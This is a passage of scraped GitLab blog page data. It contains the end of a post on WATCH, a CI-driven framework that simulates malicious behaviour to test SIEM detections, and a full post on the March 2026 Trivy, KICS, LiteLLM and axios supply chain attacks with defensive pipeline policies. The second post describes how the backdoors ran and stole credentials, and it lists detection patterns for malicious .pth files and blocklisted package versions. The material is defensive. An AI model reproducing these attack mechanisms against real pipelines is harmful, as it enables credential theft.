scheduled pipelines (runs when weekly_scheduling input is true)\nmanage_scheduled_pipelines:\n  stage: schedule_pipelines\n  script:\n    - pip install -r requirements.txt\n    - python scripts/manage_scheduled_pipelines.py\n  rules:\n    - if: $TESTS_TO_RUN == null && $CI_PIPELINE_SOURCE == \"schedule\" && [[ inputs.weekly_scheduling ]] == true\n      when: on_success\n    - when: never\n\n# Job to run detection tests, save tines_record_id to detection_status.json, and commit\nrun_detection_tests:\n  stage: run_tests\n  script:\n    - pip install -r requirements.txt\n    - python main.py --prod --save-stats --scheduled-tests\n  rules:\n    - if: $TESTS_TO_RUN\n      when: on_success\n    - when: never\n\n# Job to verify alerts, update detection_status.json, commit, and deploy pages\npages:\n  stage: pages\n  script:\n    - pip install -r requirements.txt\n    - python scripts/verify_and_update_detections.py --tines-api-key ${TINES_API_KEY}\n    - mkdir -p public/data\n    - cp detection_status.json public/data/\n    - cp -r static/* public/\n  pages: true  # Required for GitLab 17.9+ to trigger Pages deployment\n  artifacts:\n    paths:\n      - public\n  rules:\n    - if: $TESTS_TO_RUN == null && [[ inputs.update_pages ]] == true\n      when: on_success\n    - when: never\n```\n\n## How we write tests with GitLab Duo\n\nOne of the design priorities for WATCH was making it easy for anyone on the Signals Engineering or SIRT team to add new tests. The framework provides a `BaseSecurityTest` abstract class that handles all the boilerplate tasks — test ID generation, actor identity management, SOAR coordination — so that test authors only need to focus on three things: setting up the test environment, executing the simulated malicious behavior, and cleaning up afterward.\n\n```py\nclass BaseSecurityTest(ABC):\n\n    def __init__(self, config = {}, test_id: Optional[str] = None):\n        self.test_id = test_id or str(uuid.uuid4())\n        self.test_name = self.__class__.__name__\n        self.expected_detections = {}\n        self.actor_id = config.get('gitlab', {}).get(\n            'default_actor_id',\n            \"sirt_detection_test_user_\" + self.test_id[:8]\n        )\n        self.isActive = True\n        self.test_run_time = 300\n        self.config = config\n\n    @abstractmethod\n    def setup(self) -> bool:\n        \"\"\"Prepare test environment and resources\"\"\"\n\n    @abstractmethod\n    def execute(self) -> Dict[str, Any]:\n        \"\"\"Execute the malicious behavior simulation\"\"\"\n\n    @abstractmethod\n    def cleanup(self) -> bool:\n        \"\"\"Clean up test environment and resources\"\"\"\n```\n\nThe key configuration is the `expected_detections` dictionary, which maps SIEM rule names of the detections we expect to trigger to the actor identity and expected alert arrival time. A new test is just a Python file in the `tests/` directory that subclasses `BaseSecurityTest`, defines its simulated behavior, and declares which detections it expects to trigger. The test runner automatically discovers it on the next scheduled run.\n\nThis low-friction interface matters because detection testing only works as a practice if the team actually writes tests. If adding a test requires understanding the full pipeline internals, nobody will do it. The simple contract to implement setup, execute, and cleanup, and declare your expected detections, also makes WATCH tests a great candidate for [GitLab Duo](https://about.gitlab.com/gitlab-duo/), GitLab's AI assistant. Give Duo the base class and a prompt like “Make me a test that clones lots of projects from a target group” or “Make me a test that accesses all the CI variables in this project using GraphQL,” or even “Rename all these projects to use the same naming scheme.\"\" Duo can then scaffold a working WATCH test that plugs directly into the framework. This lowers the barrier even further: An engineer can go from \"I want to test this detection\" to a running test with Duo doing most of the implementation work.\n\nPro Tip: To make GitLab Duo even more effective, I used [Duo Agent Skills](https://docs.gitlab.com/user/duo_agent_platform/customize/agent_skills/), which is perfect for defining standards and procedures for routine work like writing tests. In our project directory there is a folder called `skills/WATCH-test-creator` with a SKILL.md outlining what a good test looks like, helper functions the test can use, and what the project is for. This file is read immediately after a prompt like the ones above are entered, which makes having to constantly remind Duo what it is you’re doing and how to do it no longer necessary. Most importantly, it makes the results consistent and higher quality! Here is a snippet of that file:\n\n````text\n---\nname: WATCH-test-creator\ndescription: Create WATCH (Orchestrated Offensive Penetration Simulator) security detection tests that simulate malicious behavior on GitLab infrastructure to validate SIEM detection rules and alerting pipelines.\n---\n\n## WATCH Test Creator\n\nYou are an expert at writing security detection tests for the WATCH framework. WATCH tests simulate malicious activities on GitLab-owned infrastructure to verify that the SecOps security monitoring stack (Elastic SIEM, Tines SOAR, alerting rules) properly detects and responds to threats.\n\n### Architecture Overview\n```\nProject Root\n├── core/\n│   ├── base_test.py          # Abstract base class all tests inherit from\n│   ├── test_runner.py         # Auto-discovers and executes tests\n│   └── webhook_manager.py     # Tines/SOAR notification integration\n├── tests/\n│   ├── gitlab/                # GitLab-specific detection tests\n│   └── gcp/                   # GCP-specific detection tests\n├── utils/\n│   ├── gitlab_helper.py       # GitLab API wrapper (users, projects, tokens, webhooks, OAuth)\n│   └── crypto_utils.py        # Password generation utility\n├── config/\n│   ├── settings.py            # Config loader (reads YAML + GITLAB_ADMIN_PAT env var)\n│   └── environments/\n│       ├── dev.yaml           # Local GDK config\n│       └── prod.yaml          # Production staging.gitlab.com config\n├── main.py                    # Entry point with CLI args\n└── detection_status.json      # Test results and detection metadata\n```\n\n````\n\n## Improved visibility through test dashboards\n\n![Test dashboards](https://res.cloudinary.com/about-gitlab-com/image/upload/v1777574679/ylrc96iip682sinfg7zi.png)\n\nWATCH also deploys two interactive dashboards via [GitLab Pages](https://docs.gitlab.com/user/project/pages/) that give the team real-time visibility into detection health.\n\n* The **Detection Status Dashboard** provides an overview of all detection rules and their current test status, including metrics like how many times each detection has fired, its current pass/fail state, and how long the detection has been active. The table is filterable and sortable, so engineers can quickly identify which detections need attention.  \n* The **Test Runs Dashboard** offers a detailed view of individual test executions, grouped by test ID with detection coverage breakdowns. It includes a timeline visualization showing alert propagation times to help us see how long it took from test execution to alert arrival and direct links to the corresponding alerts in our SIEM.\n\nThese dashboards replaced what was previously a manual process of digging through pipeline logs and SIEM queries to understand whether our detections were healthy.\n\nLike the rest of GUARD, WATCH leans heavily on GitLab as its platform:\n\n* **GitLab CI/CD Pipelines and Scheduled Pipelines** orchestrate the entire test lifecycle from weekly scheduling through execution and dashboard deployment.  \n* **Pipeline inputs** allow stages to be triggered independently, so we can re-run just the verification step or just the dashboard update without re-executing all tests.  \n* **CI/CD Variables** securely store the API keys needed for Tines and GitLab staging access.  \n* **GitLab Pages** hosts the WATCH dashboards with zero additional infrastructure, which means no separate hosting to manage, no extra deployment tooling.  \n* Because tests are just Python files in a GitLab project, they benefit from **version control, merge request reviews, and code ownership** the same way our detection rules do through DaC.\n\n## WATCH helps us stay proactive\n\nBuilding WATCH has shifted our team's relationship with detection quality from reactive to proactive. Before WATCH, a broken detection would only surface when an incident occurred and the expected alert was missing; that’s the worst possible time to discover a gap. Now, we get regular updates on the health of our detections and know when they break *before* something actually comes up. This gives peace of mind knowing that as we develop new detections, they won’t be broken and then forgotten.\n\nAnother benefit of WATCH is recording tactics, techniques, and procedures (TTPs) that were used by our red team in performing flash operations. Once we’ve implemented detections and conducted the retroactive analysis of a pentest operation, WATCH can be used to replay the TTPs used to validate these detections. In essence, WATCH makes detection atomic tests replayable TTPs.\n\n## Try WATCH\n\nIf you're running a SOC and relying on SIEM detections to catch threats, the question isn't whether your detections will break, it's whether you'll know when they do. You don't need a commercial BAS platform to start answering that question. A sandbox environment, a CI/CD pipeline, and a framework for scripting attack simulations can get you a long way.\n\nYou can try building your own detection testing framework by signing up for a [free trial of GitLab Ultimate](https://about.gitlab.com/free-trial/).",[21,737,751],"features",{"featured":15,"template":13,"slug":753},"automated-detection-testing-framework",{"content":755,"config":764},{"body":756,"title":757,"description":758,"category":11,"tags":759,"authors":760,"heroImage":762,"date":763},"\n***Note: The GitLab product did not use any of the compromised package versions mentioned in this post.***\n\nIn the span of 12 days, four separate supply chain attacks revealed that continuous integration and continuous delivery (CI/CD) pipelines have become a high-value target for sophisticated threat actors.\n\nBetween March 19 and March 31, 2026, threat actors compromised:\n\n* an open-source security scanner (Trivy)\n* an infrastructure-as-code (IaC) security scanner (Checkmarx KICS)\n* an AI model gateway (LiteLLM)\n* a JavaScript HTTP client (axios)\n\nEach attack shared the same surface: the build pipeline.\nThis article shows [what happened](#trusted-by-millions-compromised-in-minutes), [why pipelines can be uniquely vulnerable](#the-patterns-behind-these-attacks), and how centralized policy enforcement with GitLab — using policies defined below — can [block, detect, and contain these classes of attack](#how-gitlab-pipeline-execution-policies-address-each-attack-pattern) before they reach production.\n\n\n## Trusted by millions, compromised in minutes\n\nHere is the timeline of the supply chain attacks:\n\n### March 19: Trivy security scanner becomes an attack vector\n\n[Trivy](https://github.com/aquasecurity/trivy) is one of the most widely used open-source vulnerability scanners in the world. It is the tool teams run *inside their pipelines* to find vulnerabilities.\n\nOn March 19, a threat actor group known as [TeamPCP used compromised credentials](https://www.aquasec.com/blog/trivy-supply-chain-attack-what-you-need-to-know/) to force-push malicious code into 76 of 77 version tags of the `aquasecurity/trivy-action` GitHub Action and all 7 tags of `aquasecurity/setup-trivy`. Simultaneously, they published a trojanized Trivy binary (v0.69.4) to official distribution channels. The payload was credential-stealing malware that harvested environment variables, cloud tokens, SSH keys, and CI/CD secrets from every pipeline that ran a Trivy scan.\n\nThe incident was assigned [CVE-2026-33634](https://nvd.nist.gov/vuln/detail/CVE-2026-33634) with a CVSS score of 9.4. The Cybersecurity and Infrastructure Security Agency (CISA) added it to the Known Exploited Vulnerabilities catalog within days.\n\n### March 23: Checkmarx KICS falls next\nUsing stolen credentials, TeamPCP pivoted to Checkmarx’s open-source KICS (Keeping Infrastructure as Code Secure) project. They compromised the `ast-github-action` and `kics-github-action` GitHub Actions, [injecting the same credential-stealing malware](https://thehackernews.com/2026/03/teampcp-hacks-checkmarx-github-actions.html). Between 12:58 and 16:50 UTC on March 23, any CI/CD pipeline referencing these actions was silently exfiltrating sensitive data, such as API keys, database passwords, cloud access tokens, SSH keys, and service account credentials.\n\n### March 24: LiteLLM compromised via stolen Trivy credentials\n\nLiteLLM, an LLM API proxy with 95 million monthly downloads, was the next target. TeamPCP [published backdoored versions](https://thehackernews.com/2026/03/teampcp-backdoors-litellm-versions.html) (1.82.7 and 1.82.8) to PyPI using credentials harvested from LiteLLM’s own CI/CD pipeline, which used Trivy for scanning.\n\nThe malware targeting Version 1.82.7 used a base64-encoded payload injected directly into `litellm/proxy/proxy_server.py` that executed at import time. The version targeting 1.82.8 used a `.pth` file, a Python mechanism that executes automatically during interpreter startup. Simply installing LiteLLM was enough to trigger the payload. Attackers encrypted the stolen data (SSH keys, cloud tokens, .env files, cryptocurrency wallets) and exfiltrated it to `models.litellm.cloud`, a lookalike domain.\n\n### March 31: Source code for AI coding assistant leaked via simple packaging mistake\nWhile the TeamPCP campaign was still unfolding, a software company shipped an npm package containing a 59.8 MB source map file — one that referenced its AI coding assistant's complete, unminified TypeScript source code, hosted in the company's own Cloudflare R2 bucket.\n\nThe leak exposed 1,900 TypeScript files, 512,000+ lines of code, 44 hidden feature flags, unreleased model codenames, and the full system prompt for anyone who knew where to look. As engineer [Gabriel Anhaia explained](https://dev.to/gabrielanhaia/claude-codes-entire-source-code-was-just-leaked-via-npm-source-maps-heres-whats-inside-cjo), “A single misconfigured .npmignore or files field in package.json can expose everything.”\n### March 31: axios and another trojan in the supply chain\nThat same day, a sophisticated campaign [targeted the axios npm package](https://thehackernews.com/2026/03/axios-supply-chain-attack-pushes-cross.html), a JavaScript HTTP client with over 100 million weekly downloads.\n\nA compromised maintainer account published backdoored versions (1.14.1 and 0.30.4). It injected a malicious dependency (`plain-crypto-js@4.2.1`) that deployed a Remote Access Trojan capable of running on macOS, Windows, and Linux. Both release branches were hit within 39 minutes, with the malware designed to self-destruct after execution.\n\n## The patterns behind these attacks\n\nAcross these five incidents, three distinct attack patterns emerge, and all of them exploit the implicit trust that CI/CD pipelines place in their inputs.\n\n### Pattern 1: Poisoned tools and actions\n\nThe TeamPCP campaign exploited a fundamental assumption: that the security tools running *inside* your pipeline are themselves trustworthy. When a GitHub Action tag or a PyPI package version resolves to malicious code, the pipeline executes it with full access to environment secrets, cloud credentials, and deployment tokens. There is no verification step because the pipeline trusts the tag.\n\n**A recommended pipeline-level control:** Pin tools and actions to immutable references (commit SHAs or image digests) rather than mutable version tags. Where pinning is not practical, verify the integrity of tools and dependencies against known-good checksums or signatures. Block execution if verification fails.\n\n### Pattern 2: Packaging misconfigurations that leak IP\n\nA misconfigured build pipeline shipped debugging artifacts straight into the production package. A misconfigured `.npmignore` or files field in package.json is all it takes. A pre-publish validation step should catch this every time.\n\n**A recommended pipeline-level control:** Before any package is published, run automated checks that validate the package contents against an allowlist, flag unexpected files (source maps, internal configs, .env files), and block the publish step if the checks fail.\n\n### Pattern 3: Vulnerabilities in transitive dependencies\n\nThe axios attack targeted not just direct users of axios, but anyone whose dependency tree resolved to the compromised version. A single poisoned dependency in a lockfile can thus propagate through an entire organization’s build infrastructure.\n\n**A recommended pipeline-level control:** Compare dependency checksums against known-good lockfile state. Detect unexpected new dependencies or version changes. Block builds that introduce unverified packages.\n\n## How GitLab Pipeline Execution Policies address each attack pattern\n\nGitLab Pipeline Execution Policies ([PEPs](https://docs.gitlab.com/user/application_security/policies/pipeline_execution_policies/)) enable security and platform teams to inject mandatory CI/CD jobs into every pipeline across an organization, regardless of what a developer defines in their `.gitlab-ci.yml`. Jobs defined in PEPs cannot be skipped, even with `[skip ci]` or `[no_pipeline]` directives. Jobs can be executed in *reserved* stages (`.pipeline-policy-pre` and `.pipeline-policy-post`) that bookend the developer’s pipeline.\n\nWe have published ready-to-use pipeline execution policies for all three patterns as an open-source project: [Supply Chain Policies](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies). These policies are independently deployable, and each one ships with violation samples that you can use to test them. Here is how each one works.\n\n### Use case 1: Prevent accidental exposure in package publishing\n\n**Problem:** A source map file ended up in the npm package of an AI coding tool after the build pipeline skipped publish-time validation.\n\n**PEP approach:** We built an open-source Pipeline Execution Policy for exactly this class of error: [Artifact Hygiene](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/artifact-hygiene.gitlab-ci.yml?ref_type=heads).\n\nThe policy injects `.pipeline-policy-pre` jobs that auto-detect the artifact type (npm package, Docker image, or Helm chart) and inspect the contents before any publish step runs. For npm packages, it performs three checks:\n\n1. **File pattern blocklist.** Scans npm pack output for source maps (.map), test directories, build configs, IDE settings, and src/ directories.\n\n2. **Package size gate.** Blocks packages exceeding 50 MB, like the 59.8 MB package that leaked the AI tool.\n\n3. **sourceMappingURL scan.** Detects external URLs (the R2 bucket pattern that exposed a major AI company’s source), inline data: URIs, and local file references embedded in JavaScript bundles.\n\nWhen violations are found, the pipeline fails with a clear report in the failed CI job logs:\n```text\n=============================================\nFAILED: 3 violation(s) found\n=============================================\nBLOCKED: dist/index.js.map (matched: \\.map$)\nBLOCKED: dist/index.js contains external sourceMappingURL\nBLOCKED: dist/utils.js contains inline sourceMappingURL\n\nThis check is enforced by a Pipeline Execution Policy. If this is a false positive, contact the security team to update the policy project or exclude this project.\n```\nThe policy has no user-configurable CI variables. Developers cannot disable or bypass it. Exceptions are managed by the security team at the policy level, ensuring a deliberate process and a clean audit trail.\n\nThe repository includes a test project with intentional violations (examples/leaky-npm-package/) so you can see the policy in action before deploying it to your organization. The [README](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/README.md) includes a complete quick-start guide for setup and deployment.\n\n**What this catches:** Any one of these controls would likely have prevented the AI company's source code leak:\n\n* The source map file triggers the file pattern blocklist.\n* Its 59.8 MB size triggers the size gate.\n* The sourceMappingURL pointing to an external R2 bucket triggers the URL scan.\n\n### Use case 2: Detect dependency tampering and lockfile manipulation\n\n**Problem:** The axios attack introduced a malicious transitive dependency (`plain-crypto-js`) that executed a RAT on install. Anyone who ran npm install during the compromise window pulled in the trojan.\n\n**PEP approach:** The [Dependency Integrity policy](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/dependency-integrity.gitlab-ci.yml) injects .pipeline-policy-pre jobs that auto-detect the package ecosystem (npm or Python) and perform three checks:\n\n**For npm projects** (triggered by `package-lock.json`, `yarn.lock`, or `pnpm-lock.yaml`):\n\n1. **Lockfile integrity.** Runs `npm ci --ignore-scripts`, which fails if `node_modules` would differ from what the lockfile specifies. This catches cases where package.json was updated but the lockfile was not regenerated, and also verifies SRI integrity hashes.\n2. **Blocked package scan.** Cross-references the lockfile’s full dependency tree against `blocked-packages.yml`, a GitLab-maintained list of known-compromised package versions. The shipped blocklist includes `axios@1.14.1`, `axios@0.30.4`, and `plain-crypto-js@4.2.1`.\n3. **Undeclared dependency detection.** After install, compares the contents of node_modules against the lockfile. Any package present on disk but absent from the lockfile indicates tampering (e.g., a compromised postinstall script that fetches additional packages).\n\n**For Python projects** (triggered by `requirements.txt`, `Pipfile.lock`, `poetry.lock`, or `uv.lock`):\n\n1. **Lockfile integrity.** Installs in an isolated virtual environment and verifies that the install succeeds from the lockfile.\n2. **Blocked package scan.** Same blocklist approach. The shipped list includes `litellm==1.82.7` and `litellm==1.82.8`.\n3. **.pth file detection.** Scans site-packages for `.pth` files containing executable code patterns (`import os`, `exec(`, `eval(`, `__import__`, `subprocess`, `socket`). This is the exact mechanism the LiteLLM backdoor used.\n\nWhen a violation is found:\n\n```text\n=============================================\nFAILED: 1 violation(s) found\n=============================================\nBLOCKED: axios@1.14.1 is a known-compromised package\n\nThis check is enforced by a Pipeline Execution Policy.\n```\n\nThe policy runs in *strict mode*: any dependency not present in the committed lockfile blocks the pipeline. If a developer needs to add a dependency, they commit the updated lockfile. The policy verifies that the installed version matches the committed version. If something appears that was not committed (e.g., a transitive dependency injected via a compromised upstream package), the pipeline blocks.\n\n**What this catches:** The introduction of `plain-crypto-js` as a new, previously unseen dependency would be flagged by the undeclared dependency check. The `axios@1.14.1` version would be caught by the blocked package scan. The LiteLLM `.pth` file would be caught by the `.pth` detection check. Each attack has at least one, and often two, independent detection signals.\n\n### Use case 3: Detect and block compromised tools before execution\n\n**Problem:** TeamPCP replaced trusted Trivy and Checkmarx GitHub Action tags with malicious versions. Any pipeline referencing those tags executed credential-stealing malware.\n\n**PEP approach:** The [Tool Integrity policy](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/tool-integrity.gitlab-ci.yml) injects a `.pipeline-policy-pre` job that queries the GitLab CI Lint API (or falls back to evaluate the `.gitlab-ci.yml`), extracts the container image references, and compares it against an approved images allowlist maintained by the security team.\n\nThe allowlist (`approved-images.yml`) supports three controls per image:\n\n**Approved repositories:** Only images from repositories on the list are permitted. An unknown repository blocks the pipeline.\n\n**Allowed tags:** Only specific tags are permitted within an approved repository. This prevents drift to untested versions.\n\n**Blocked tags:** Known-compromised versions can be explicitly blocked even if the repository is approved. The shipped allowlist blocks `aquasec/trivy:0.69.4` through `0.69.6`, the exact versions TeamPCP trojanized.\n\nWhen a violation is found, the pipeline fails before any other job runs:\n\n```text\n=============================================\nFAILED: 1 violation(s) found\n=============================================\nBLOCKED: aquasec/trivy:0.69.4 (job: trivy-scan)\n\n - tag '0.69.4' is known-compromised\n\nThis check is enforced by a Pipeline Execution Policy.\n```\n\nThe allowlist is maintained via MRs against the policy project. To add a new approved image, the security team opens an MR. To respond to a new compromise, they add a blocked tag. No code changes required, just YAML.\n\n**What this catches:** When images with unapproved tags are detected, the policy compares the image repository names and tags to an allowlist. A failed match blocks the pipeline before any scanner executes, preventing credential exfiltration.\n\n*Note: By extending the sample above, PEPs can be used to force pinning to digests over tags, which is immune to force pushes. This sample demonstrates a more basic tag-based enforcement pattern.*\n\n## Beyond PEPs: GitLab’s supply chain defenses\n\nPipeline Execution Policies are the enforcement layer, but they work best as part of a broader defense-in-depth strategy. GitLab provides several capabilities that complement PEPs for supply chain protection:\n\n### Secret detection\n\n[GitLab secret detection](https://docs.gitlab.com/user/application_security/secret_detection/) prevents credentials from landing in the repository in the first place, significantly reducing what a compromised pipeline tool can harvest. In the context of the March 2026 attacks:\n\n* Credentials stored in repositories are both easier for attackers to discover and slower to rotate. The Trivy incident showed that even the rotation process can be exploited: Aqua Security's rotation was not atomic, and the attacker captured newly issued tokens before the old ones were fully revoked. GitLab Secret Detection includes automatic revocation for leaked GitLab tokens and a partner API that notifies third-party providers to revoke their credentials, accelerating response when a breach does occur.\n\n* Secret detection combined with proper secret management (short-lived tokens, vault-backed credentials, minimal pipeline secret exposure) limits what an attacker can reach even when a trusted tool turns hostile.\n\n### Dependency scanning via software composition analysis (SCA)\n\nGitLab [dependency scanning](https://docs.gitlab.com/user/application_security/dependency_scanning/) identifies known vulnerabilities in project dependencies by analyzing lockfiles and manifests. In the context of the March 2026 attacks:\n\n* For LiteLLM, the compromised versions (1.82.7, 1.82.8) are tracked in GitLab's advisory database, flagging affected Python projects automatically.\n\n* For axios, dependency scanning identifies the compromised versions (1.14.1, 0.30.4) across every project in the organization, giving security teams a single view for assessing blast radius and prioritizing credential rotation.\n\n* Similarly, all npm packages compromised by TeamPCP's CanisterWorm propagation are also flagged if used.\n\n[GitLab Container Scanning](https://docs.gitlab.com/user/application_security/container_scanning/) detects vulnerable container images used in your deployments. For the Trivy compromise, Container Scanning flags the trojanized Trivy Docker images (0.69.4 through 0.69.6) when they appear in your container registry or deployment manifests.\n\n### Merge request approval policies\n\n[Merge request approval policies](https://docs.gitlab.com/user/application_security/policies/merge_request_approval_policies/) can require security team approval before changes to dependency lockfiles or CI/CD configurations are merged. This ensures a human checkpoint for the types of changes that supply chain attacks typically introduce.\n\n### Coming soon: Dependency Firewall, Artifact Registry, and SLSA Level 3 Attestation & Verification\n\nUpcoming GitLab supply chain security capabilities harden policy enforcement at two critical control points: the registry and the pipeline. The Dependency Firewall and Artifact Registry will block non-conforming packages, while SLSA Level 3 attestation will provide cryptographic proof that artifacts were produced by approved pipelines and remain unmodified. Together, they will give security teams verifiable control over what enters and exits the software supply chain.\n\n## What this means for your organization\n\nAmidst rising AI-assisted threats, attacks on CI/CD pipelines are becoming commonplace. The TeamPCP campaign shows how a single compromised credential can cascade across an ecosystem of trusted tools.\n\nIf your organization used any of the affected components, operate with the assumption that all of your pipeline secrets were exposed: rotate them immediately and audit systems for persisted backdoors. Either way, regularly rotating credentials and using short-lived tokens limits the blast radius of any future compromise.\n\nHere is what we recommend:\n\n1. **Pin dependencies to checksums, when possible.** Mutable version tags (like the ones TeamPCP hijacked) are not a security boundary. Use SHA-pinned references for all [CI/CD components](https://docs.gitlab.com/ci/components/#manage-dependencies) or actions and container images.\n\n2. **Run pre-execution integrity checks.** Use Pipeline Execution Policies to verify tool and dependency integrity *before* any pipeline job runs. This is the `.pipeline-policy-pre` stage.\n\n3. **Audit what you publish.** Every package publish step should include automated validation of the artifact contents. Source maps, environment files, and internal configuration should never leave your build environment. The [Supply Chain Policy](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies) project provides a ready-to-deploy starting point for npm, Docker, and Helm artifacts.\n\n4. **Detect dependency drift.** Compare dependency resolutions against committed lockfiles on every pipeline run. Monitor for unexpected new dependencies.\n\n5. **Centralize policy management.** Do not rely on developers remembering to include security checks. Enforce them at the group or instance level through policies that developers cannot remove or skip.\n\n6. **Assume your security tools are targets.** If your vulnerability scanner, static application security testing (SAST) tool, or AI gateway can be compromised, it will be. Limit each tool to its least necessary privileges and verify that it can't reach anything else.\n\n## Protect your pipelines with GitLab\n\nOver two weeks, attackers compromised production pipelines at organizations running some of the most widely adopted tools in the software development ecosystem.\n\nThe lesson is clear: Build pipelines need the same degree of centralized, policy-driven protection that we apply to networks and cloud infrastructure.\n\nGitLab Pipeline Execution Policies provide that enforcement layer. They ensure that security checks run on every pipeline, in every project regardless of individual project configurations. Combined with dependency scanning, secret detection, and merge request approval policies, they can block, detect, and contain the class of attacks we saw in March 2026.\n\nThe [Supply Chain Policies](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies) project provides a working Pipeline Execution Policy that catches the exact class of error behind the major AI company’s leak, with coverage for npm packages, Docker images, and Helm charts. Clone it, deploy it to your group, and ensure that all of your pipelines are ready for the supply chain attacks to come.\n\nTo get started with centralized pipeline policies, sign up for a [free trial of GitLab Ultimate](https://about.gitlab.com/free-trial/devsecops/).\n\n\n*This blog post contains \"forward-looking statements\" within the meaning of Section 27A of the Securities Act of 1933, as amended, and Section 21E of the Securities Exchange Act of 1934. Although we believe that the expectations reflected in these statements are reasonable, they are subject to known and unknown risks, uncertainties, assumptions and other factors that may cause actual results or outcomes to differ materially. Further information on these risks and other factors is included under the caption \"Risk Factors\" in our filings with the SEC. We do not undertake any obligation to update or revise these statements after the date of this blog post, except as required by law.*","Pipeline security lessons from March supply chain incidents","Learn how centralized pipeline policies can detect and block the patterns behind a series of recent attacks.",[21,738,24,751],[761],"Grant Hickman","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772630163/akp8ly2mrsfrhsb0liyb.png","2026-04-07",{"featured":32,"template":13,"slug":765},"pipeline-security-lessons-from-march-supply-chain-incidents",{"promotions":767},[768,782,793,804],{"id":769,"categories":770,"header":772,"text":773,"button":774,"image":779},"ai-modernization",[771],"ai-ml","Is AI achieving its promise at scale?","Quiz will take 5 minutes or less",{"text":775,"config":776},"Get your AI maturity score",{"href":777,"dataGaName":778,"dataGaLocation":250},"/assessments/ai-modernization-assessment/","modernization assessment",{"config":780},{"src":781},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/qix0m7kwnd8x2fh1zq49.png",{"id":783,"categories":784,"header":785,"text":773,"button":786,"image":790},"devops-modernization",[738,580],"Are you just managing tools or shipping innovation?",{"text":787,"config":788},"Get your DevOps maturity score",{"href":789,"dataGaName":778,"dataGaLocation":250},"/assessments/devops-modernization-assessment/",{"config":791},{"src":792},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138785/eg818fmakweyuznttgid.png",{"id":794,"categories":795,"header":796,"text":773,"button":797,"image":801},"security-modernization",[21],"Are you trading speed for security?",{"text":798,"config":799},"Get your security maturity score",{"href":800,"dataGaName":778,"dataGaLocation":250},"/assessments/security-modernization-assessment/",{"config":802},{"src":803},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/p4pbqd9nnjejg5ds6mdk.png",{"id":805,"paths":806,"header":809,"text":810,"button":811,"image":816},"github-azure-migration",[807,808],"migration-from-azure-devops-to-gitlab","integrating-azure-devops-scm-and-gitlab","Is your team ready for GitHub's Azure move?","GitHub is already rebuilding around Azure. Find out what it means for you.",{"text":812,"config":813},"See how GitLab compares to GitHub",{"href":814,"dataGaName":815,"dataGaLocation":250},"/compare/gitlab-vs-github/github-azure-migration/","github azure migration",{"config":817},{"src":792},{"header":819,"blurb":820,"button":821,"secondaryButton":826},"Start building faster today","See what your team can do with the intelligent orchestration platform for DevSecOps.\n",{"text":822,"config":823},"Get your free trial",{"href":824,"dataGaName":50,"dataGaLocation":825},"https://gitlab.com/-/trial_registrations/new?glm_content=default-saas-trial&glm_source=about.gitlab.com/","feature",{"text":516,"config":827},{"href":54,"dataGaName":55,"dataGaLocation":825},1777934809631]